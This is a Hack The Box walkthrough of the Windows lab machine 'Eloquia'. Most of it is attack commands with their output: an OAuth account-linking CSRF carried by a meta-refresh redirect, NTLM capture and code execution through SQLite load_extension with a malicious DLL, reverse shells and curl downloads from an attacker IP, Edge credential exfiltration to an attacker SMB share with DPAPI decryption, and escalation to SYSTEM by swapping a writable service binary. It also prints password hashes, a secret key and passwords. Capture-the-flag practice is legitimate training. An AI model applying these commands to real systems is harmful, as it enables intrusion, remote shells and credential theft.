> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / WINDOWS / 2026-10-17

Hack The Box — Eloquia (Windows)

Exploit Eloquia's OAuth account-linking flow through stored HTML redirection, use SQLite extension loading for command execution, recover Olivia.KAT's Edge credentials, and escalate to SYSTEM by replacing a writable Failure2Ban binary.

Target

  • IP: 10.129.3.29

Enumeration

sudo nmap -sC -sV 10.129.3.29 -p- -v

PORT     STATE SERVICE VERSION
80/tcp   open  http    Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eloquia.htb/
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Add eloquia.htb to /etc/hosts, then browse to http://eloquia.htb/.

The site has the following Content Security Policy (CSP):

object-src 'none';
script-src 'self';
style-src 'self' 'unsafe-inline' fonts.googleapis.com;
default-src 'self';
font-src 'self' fonts.googleapis.com fonts.gstatic.com

While browsing and testing the site, we notice that we can register and log in at eloquia.htb.

There is also an option to log in through qooqle, so we discover another site: qooqle.htb.

Add it to /etc/hosts as well.

On eloquia.htb, we can link the account to a qooqle account. OAuth2 is used for this linking process.

When we start the linking process, we are redirected to:

http://eloquia.htb/accounts/oauth2/qooqle/authorize/

We are then redirected to a page on qooqle.htb. That page contains a form which makes a POST request to another page on qooqle.htb.

At the end, we obtain a link containing a code, for example:

http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=306GFzlKrL2kwQo8MrPabtknED2gV5

We are redirected to that link, returning to eloquia.htb, where the account linking is completed.

The idea is to make the administrator visit that link. The administrator's account on eloquia.htb will then be linked to our qooqle account. We can subsequently log in to Eloquia through qooqle and become an administrator.

To do this, we need XSS.

OAuth account-linking attack

The eloquia.htb site allows us to create articles. Articles accept text, including HTML.

After experimenting, we observe that we can use the meta tag with http-equiv="refresh" to redirect the victim's browser. For example:

<meta http-equiv="refresh" content="0; url=http://10.10.16.73:9999/exp">

Articles can be reported, and the administrator later views them.

The initial idea would be to send the administrator directly to the OAuth2 link containing the code, for example:

http://eloquia.htb/accounts/oauth2/qooqle/callback/?code=306GFzlKrL2kwQo8MrPabtknED2gV5

However, the code is valid for only a very short time, a few seconds. We also observe that the administrator does not visit articles immediately after they are created; instead, articles are visited at regular intervals, with a different delay each time.

We can work around this as follows.

We create a small Flask server with an endpoint. The XSS redirects the administrator to that endpoint. We do not immediately return a response; instead, we keep the request waiting while we perform the procedure to obtain the OAuth2 link. Once the OAuth2 link has been obtained, we can return an HTTP response to the administrator.

Important: If we provide the administrator directly with the OAuth2 link containing the code, it will not work because of CORS. The administrator's browser is visiting our host and will refuse to make requests to other hosts.

Therefore, we create another article which uses the meta tag to redirect the victim to the link containing the code, and we return the link to that article to the administrator.

When the administrator's browser visits the article, it returns to eloquia.htb. The meta tag in the article then redirects it to the link containing the code, which is also under the eloquia.htb domain.

The entire attack is automated in exp.py:

python3 exp.py

The script creates a new user on eloquia.htb and qooqle.htb, then performs the attack.

After the attack has completed, we can log in with our user on qooqle.htb; the credentials are printed by the script.

Then browse to eloquia.htb and log in with qooqle.

We are now logged in to eloquia.htb as the administrator.

Extracting password hashes

There is an admin panel. Go to Custom users.

We can exfiltrate the users' password hashes. We can also do this through the SQL explorer:

  • Click Play around.
select * from Eloquia_customuser

We notice that the Olivia.KAT user has an email address in the eloquia.htb domain:

olivia.k@eloquia.htb

select concat_ws(':',username,password) from Eloquia_customuser

admin:pbkdf2_sha256$720000$gOf8IANRduHfMKSJBF6lxr$i8gRr6EY+rn05XMFeHexWEk36RCLgtsawMXMKgwIgZ4=
martin:pbkdf2_sha256$720000$D8PKe043myfvarjGdYZhVn$C0t1t0o37RVY5SJWyyR9gOX5sw093ZlHkeMFFnj6lxA=
Bob.R:pbkdf2_sha256$720000$EKPj1uDd04wWf8tmlysOjv$8rjuWRznVMsb8Pes2iNTtw4NBl8uM1YbZID9yTEmU8I=
carol.wood:pbkdf2_sha256$720000$EzpxRYlB2NMxJ5yTW1uEmr$4Hz27OfWKl5myaw9mXJFL6BMfyTrJCmxsiICiBzLxXs=
Harold.qpXqp:pbkdf2_sha256$720000$Cz9q71ZtVP7oDzuGmJ6VC3$MH30wgInOeZ1uCGP1vak9PUl89ky+8ezl1qDEK1kUBY=
Haney970:pbkdf2_sha256$720000$HjHFh3AOxgl6VeLn6d9lod$ToNMrBdf2IieP8AhR8vA2nxcri1iU3KS/A7C5PJ02qo=
Olivia.KAT:pbkdf2_sha256$720000$l0PVHno3vDtBJLVyPRaKhM$Yu/cqsv51M7IM74zIgz2d3Zeec0frPXT/ulVaVQwr1U=

Put all of this into a file named hash:

./hashcat/hashcat -a 0 -m 10000 ./hash ./rockyou.txt --username
./hashcat/hashcat -a 0 -m 10000 ./hash ./rockyou.txt --username --show

The hashes are not cracked.

Check the database version:

select sqlite_version();

3.45.1

The DBMS is therefore SQLite.

NTLM hash capture

Start Responder:

sudo responder -I tun0

Then execute the following query in the SQL explorer:

SELECT load_extension('\\10.10.16.73\share\nonexistent');

Responder returns:

[SMB] NTLMv2-SSP Client   : 10.129.3.248
[SMB] NTLMv2-SSP Username : ELOQUIA\web
[SMB] NTLMv2-SSP Hash     : web::ELOQUIA:45f10a356e851549:84D10E4EEC768066938DEE8CDDEF4ACC:010100000000000000381696F86CDC013706B2675C5FE52A00000000020008004B0033004300590001001E00570049004E002D00350035004B005600320052004F0048004E003800570004003400570049004E002D00350035004B005600320052004F0048004E00380057002E004B003300430059002E004C004F00430041004C00030014004B003300430059002E004C004F00430041004C00050014004B003300430059002E004C004F00430041004C000700080000381696F86CDC0106000400020000000800300030000000000000000000000000200000F66223163FEBC39F8629E46DDAF7C0EB6764286C896DCF102FCFDC6C2C2E3F930A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00370033000000000000000000

The hash is not cracked.

SQLite extension command execution

Install the SQLite development package and copy the required headers:

sudo apt-get install libsqlite3-dev
cp /usr/include/sqlite3ext.h .
cp /usr/include/sqlite3.h .

See sqlite_extension.c.

In the extension, execute the following command:

curl http://10.10.16.73:5555/pwnd

Compile the extension:

x86_64-w64-mingw32-gcc -shared -o evil.dll sqlite_extension.c

This produces evil.dll.

In the administration page, open an article, edit the banner image, and upload evil.dll.

The uploaded file path becomes something like:

static\assets\images\blog\evil.dll

Start an HTTP server:

python3 -m http.server 5555

Go to the SQL explorer and execute:

SELECT load_extension('static\assets\images\blog\evil.dll');

Run the query.

The Python server receives a request to /pwnd.

Obtaining a reverse shell

First create a working directory.

Modify sqlite_extension.c to execute:

mkdir C:\tmp

Compile and upload it as before.

If we keep the same name (evil.dll), Django assigns another name because of the name conflict, for example evil_9s7dHuk.dll.

Run the query again, taking care to use the new DLL filename.

Download nc64.exe:

  • https://github.com/int0x33/nc.exe/raw/refs/heads/master/nc64.exe

Upload it to the target machine.

Repeat the previous procedure to execute:

curl http://10.10.16.73:5555/nc64.exe -o C:\tmp\nc64.exe

Start a Netcat listener:

rlwrap nc -vlnp 4444

Repeat the previous procedure to execute:

C:\tmp\nc64.exe -e cmd.exe 10.10.16.73 4444

However, this does not work.

We can still collect information in another way. For example, execute:

dir . > static/assets/images/blog/out.txt

Then browse to http://eloquia.htb/static/assets/images/blog/out.txt. The output is:

12/17/2025  08:42 AM    <DIR>          .
12/17/2025  08:42 AM    <DIR>          ..
12/17/2025  08:42 AM           598,016 db.sqlite3
10/14/2025  09:37 AM    <DIR>          Eloquia
10/08/2025  05:02 AM               160 error.html
04/22/2025  11:20 PM                 0 file.sqlite
03/05/2025  12:56 PM               664 manage.py
10/14/2025  09:54 AM               224 runserver.py
10/22/2025  11:46 AM    <DIR>          static
10/13/2025  12:41 PM             1,310 web.config
               6 File(s)        600,374 bytes
               4 Dir(s)   4,529,127,424 bytes free

With the following command:

system("dir /a . > static/assets/images/blog/out.txt");

we discover the Eloquia directory.

system("dir /a Eloquia > static/assets/images/blog/out.txt");

We find settings.py.

system("type Eloquia\\settings.py > static/assets/images/blog/out.txt");

We find:

SECRET_KEY = 'django-insecure-ez@1xu&_s89*+7dy1+j4ed5nl&u8z_y2yw-se$bz%c9v$z*6v2'

For example, to understand what is wrong with the nc64.exe command, execute:

system("C:\\tmp\\nc64.exe -e cmd.exe 10.10.16.73 5555 2> static\\assets\\images\\blog\\err.txt");

err.txt contains:

This program is blocked by group policy. For more information, contact your system administrator.

We can actually obtain a reverse shell by placing the C reverse-shell code in the SQLite extension.

I used this C reverse shell:

  • https://github.com/izenynn/c-reverse-shell/blob/main/windows.c

See sqlite_extension_rev.c.

Compile the extension as follows:

x86_64-w64-mingw32-gcc -shared -o evil.dll sqlite_extension_rev.c -lws2_32

Upload it, start a Netcat listener:

rlwrap nc -vlnp 4444

Launch it with load_extension() in the SQL explorer. We obtain a reverse shell.

whoami

eloquia\web

PowerShell is also blocked by Group Policy.

Host and security inspection

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

We find:

    BuildLab    REG_SZ    17763.rs5_release.180914-1434
    BuildLabEx    REG_SZ    17763.1.amd64fre.rs5_release.180914-1434
    CompositionEditionID    REG_SZ    ServerStandard
    CurrentBuild    REG_SZ    17763
    CurrentBuildNumber    REG_SZ    17763
    ProductName    REG_SZ    Windows Server 2019 Standard
    ReleaseId    REG_SZ    1809

Alternatively:

systeminfo

Host Name:                 ELOQUIA
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763

Upload SharpHound.exe:

  • https://github.com/SpecterOps/SharpHound
curl http://10.10.16.73:5555/SharpHound.exe -o C:\tmp\SharpHound.exe

Run SharpHound on the target:

.\SharpHound.exe

We get the following error:

The system cannot execute the specified program.

SharpHound is also deleted. The antivirus is probably active.

sc query windefend

SERVICE_NAME: windefend
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Check whether the antivirus has excluded directories with this command:

wevtutil qe "Microsoft-Windows-Windows Defender/Operational" /q:"*[System[(EventID=5007)]]" /f:text | findstr /I "exclusions\\Path"

Apparently, there are no exclusions.

View Task Scheduler logs:

wevtutil qe Microsoft-Windows-TaskScheduler/Operational /c:20 /f:text

Discovering credentials in Automation Scripts

cd "C:\Program Files\Automation Scripts"
dir

11/06/2025  01:41 PM    <DIR>          .
11/06/2025  01:41 PM    <DIR>          ..
10/21/2025  12:49 PM               250 eloquia.htb-runserver.bat
10/28/2025  11:03 AM               369 FW-Cleaner.ps1
10/07/2025  02:41 AM                86 qooqle.htb-runserver.bat
11/06/2025  01:41 PM             1,608 seleniumSimulator.py
11/06/2025  01:41 PM               364 update-hosts.ps1

In seleniumSimulator.py we find credentials:

"username": "admin",
"password": "MyEl0qu!@Admin",

However, this is not the password for web or Olivia.KAT.

Extracting Edge credentials

In AppData, we notice Microsoft Edge.

There is a SQLite database at:

C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

To download it to our machine, we can use smbserver:

smbserver.py -smb2support -username test12 -password test12 share $(pwd)

On the target machine:

net use \\10.10.16.119\share test12 /USER:test12
copy "Login Data" \\10.10.16.119\share\

On our machine:

sqlite3 "Login Data"

.tables

breached                logins_edge_extended    stats
insecure_credentials    meta                    sync_entities_metadata
logins                  password_notes          sync_model_metadata

PRAGMA table_info(logins);

0|origin_url|VARCHAR|1||0
1|action_url|VARCHAR|0||0
2|username_element|VARCHAR|0||0
3|username_value|VARCHAR|0||0
4|password_element|VARCHAR|0||0
5|password_value|BLOB|0||0
6|submit_element|VARCHAR|0||0
7|signon_realm|VARCHAR|1||0
8|date_created|INTEGER|1||0
9|blacklisted_by_user|INTEGER|1||0
10|scheme|INTEGER|1||0
11|password_type|INTEGER|0||0
12|times_used|INTEGER|0||0
13|form_data|BLOB|0||0
14|display_name|VARCHAR|0||0
15|icon_url|VARCHAR|0||0
16|federation_url|VARCHAR|0||0
17|skip_zero_click|INTEGER|0||0
18|generation_upload_status|INTEGER|0||0
19|possible_username_pairs|BLOB|0||0
20|id|INTEGER|0||1
21|date_last_used|INTEGER|1|0|0
22|moving_blocked_for|BLOB|0||0
23|date_password_modified|INTEGER|1|0|0
24|sender_email|VARCHAR|0||0
25|sender_name|VARCHAR|0||0
26|date_received|INTEGER|0||0
27|sharing_notification_displayed|INTEGER|1||0
28|keychain_identifier|BLOB|0||0
29|sender_name|VARCHAR|0||0

select * from logins;

https://openai.com/|||olivia.kat||v10*y#/H±=+&\[        n^rd#쩺%Ԋ!b||https://openai.com/|13358114944404661|0|0|3|0|||||0|0||3|0||13358114944404661|||0|0||
o)l.pisY6M~n/a.htb/accounts/login/|http://eloquia.htb/accounts/login/|username|Olivia.KAT|password|v10
SF||http://eloquia.htb/|13405555954219039|0|0|0|0|0||||0|0||4|13405555945733165||13405555954219445|||0|0||
FLg||https://eloquia.htb/|13405556235822862|0|0|3|0|||||0|0||5|0||13405556235822862|||0|0||
https://chatgpt.com/|||olivia.kat||v10||https://chatgpt.com/|13405632874452328|0|0|3|0|||||0|0||6|0||13405632874452328|||0|0||

select username_value,hex(password_value) from logins;

olivia.kat|7631302A0179232F48E605C2B1043D10C32BD826DFCCCD5C5BB78C096E5E7264E6E6C12388CCF0ECA9BA25D48A211311621E
Olivia.KAT|7631300DCF6F92296C2EBB80ECA37069738E97593683D1CE4DE0F8CA7E86CBE2026E2F860F0A8432B2DB7B8C030D530E46
test|7631309FF2DD3747EA5F98C5FBD22494699192EAA95853214CD964DBF72F3A87FD0DFA46B24C9DCFC10167C5
olivia.kat|7631309595003B27406374E4DC7E94C17BDB422DBB495DB99F74028F4B8D88D55151934351621B6B44938D0557E6F9EB6B2A

To decrypt the password, we also need information in:

C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Local State

Copy it to our machine:

copy "Local State" \\10.10.16.119\share\

On our machine:

cat Local\ State | jq .

There is an encrypted key:

"encrypted_key": "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgIqd3Qa3HRY2/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3/o/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJn8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw=="

This is the master key.

echo -n 'RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABzr42Q+SDgR78a6A6x6z+EEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAABZqUTKi+3PgIqd3Qa3HRY2/JCmSDJLECa+TMtiB0cTPAAAAAAOgAAAAAIAACAAAAB0hEH7C3oQN6ghOwRl2cHGV2G3/o/oobqZ3Zm0uQNUhjAAAAAWtJnWT3GsY2PXsMOl66xYaMIXJodfrvLK5HVzFOvcGuw1CJn8xvbLF0LLyaOLujdAAAAA+vRmKffc2JdtiXx3o7Pvxy5CiU8YAuklDgNkgE+eAFDiAhBb5ZWr7zp30+GtPk4qluAXDrum+QHtuygfoywpTw==' | base64 -d > key

cat key

The first five characters are DPAPI.

Useful sites:

  • https://pentestlab.blog/2024/08/20/web-browser-stored-credentials/
  • https://stackoverflow.com/questions/48675338/python-error-cryptprotectdata-key-not-valid-for-use-in-specified-state

Apparently, to decrypt the master key, we must use the victim computer.

See decrypt_edge_master_key.py.

Upload it to the target machine.

Python is located at C:\Program Files\Python311\python.exe on the target.

Run the script:

"C:\Program Files\Python311\python.exe" decrypt_master_key.py

Decrypted master key: c7f1ad7b079947b4bb1dc53b8740440651b6c9f5caf7fd9a18bbece57c7bd444

We now have the master key. We can use it to decrypt the passwords in the Login Data SQLite database.

See decrypt_edge_creds.py.

It can also be run on our machine:

python3 decrypt_edge_creds.py

Username: olivia.kat
Password: <decrypt error: MAC check failed>
----------------------------------------
Username: Olivia.KAT
Password: S3cureP@sswdIGu3ss
----------------------------------------
Username: test
Password: testtest1234!
----------------------------------------
Username: olivia.kat
Password: <decrypt error: MAC check failed>
----------------------------------------

Connect with Evil-WinRM:

evil-winrm -i eloquia.htb -u Olivia.KAT -p 'S3cureP@sswdIGu3ss'

We obtain a PowerShell shell.

qooqle IPS Software

In C:\Program Files, we notice the Qooqle IPS Software program.

Create an archive:

tar -cvf C:\tmp\stuff.tar "Qooqle IPS Software"

To download it to our machine, use smbserver:

smbserver.py -smb2support -username test12 -password test12 share $(pwd)

On the target machine:

net use \\10.10.16.73\share test12 /USER:test12
copy stuff.tar \\10.10.16.73\share\

On our machine:

tar xvf stuff.tar

We now have the source code.

On the target, run:

tasklist

We notice that Failure2Ban.exe is running.

Analyzing the source code, we find that the program monitors:

C:\Web\Qooqle\log.csv

The IP addresses of hosts that fail to log in to qooqle.htb are written there.

icacls log.csv

log.csv BUILTIN\IIS_IUSRS:(I)(RX)
        NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Users:(I)(RX)
        ELOQUIA\web:(I)(F)

For example, print the file:

type log.csv

LOG FILE
2025-12-17 10:42:04, aaaaaa, 10.10.16.73, FAILED

If the same IP appears in at least 10 lines, it is banned.

The ban is performed by adding a rule to the Windows Firewall. Whenever an IP is blocked, and whenever Failure2Ban.exe is stopped or started, information is also written to a log file.

The application logs are located at:

C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Logs

For example, sort them by modification date:

dir /O:D

Replacing Failure2Ban.exe

In the C:\Program Files\Automation Scripts directory discovered earlier, there is also FW-Cleaner.ps1.

type FW-Cleaner.ps1

$rules = Get-NetFirewallRule | Where-Object {$_.Direction -eq 'Inbound' -and $_.DisplayName -like 'Block IP*'}

foreach ($rule in $rules) {
    Remove-NetFirewallRule -Name $rule.Name
}

cmd /c "echo LOG FILE > C:\Web\Qooqle\log.csv"
Restart-Service Failure2Ban
rm "C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\version.dll"

Since the Failure2Ban service is restarted, and the Debug directory contains Failure2Ban.exe, we can infer that Failure2Ban.exe is run periodically.

Check the permissions on the Debug directory:

icacls 'C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug'

C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug ELOQUIA\Olivia.KAT:(I)(OI)(CI)(RX,W)
                                                                                   NT SERVICE\TrustedInstaller:(I)(F)
                                                                                   NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                                                                   NT AUTHORITY\SYSTEM:(I)(F)
                                                                                   NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                                                                   BUILTIN\Administrators:(I)(F)
                                                                                   BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                                                                   BUILTIN\Users:(I)(RX)
                                                                                   BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                                                                   CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                                                                   APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
                                                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
                                                                                   APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)

The Olivia.KAT user has write permissions.

Therefore, we can replace Failure2Ban.exe with our own executable that launches a reverse shell.

Use the C reverse-shell code that worked earlier:

  • https://github.com/izenynn/c-reverse-shell/blob/main/windows.c

Modify it with our IP address and port.

Compile the reverse shell:

x86_64-w64-mingw32-gcc -o Failure2Ban.exe rev.c -lws2_32

Start a Netcat listener:

rlwrap nc -vlnp 4444

Upload Failure2Ban.exe to the Debug directory, replacing the original.

Wait. We obtain a reverse shell.

whoami

nt authority\system

The Administrator flag is located at:

C:\Users\Administrator\Desktop\root.txt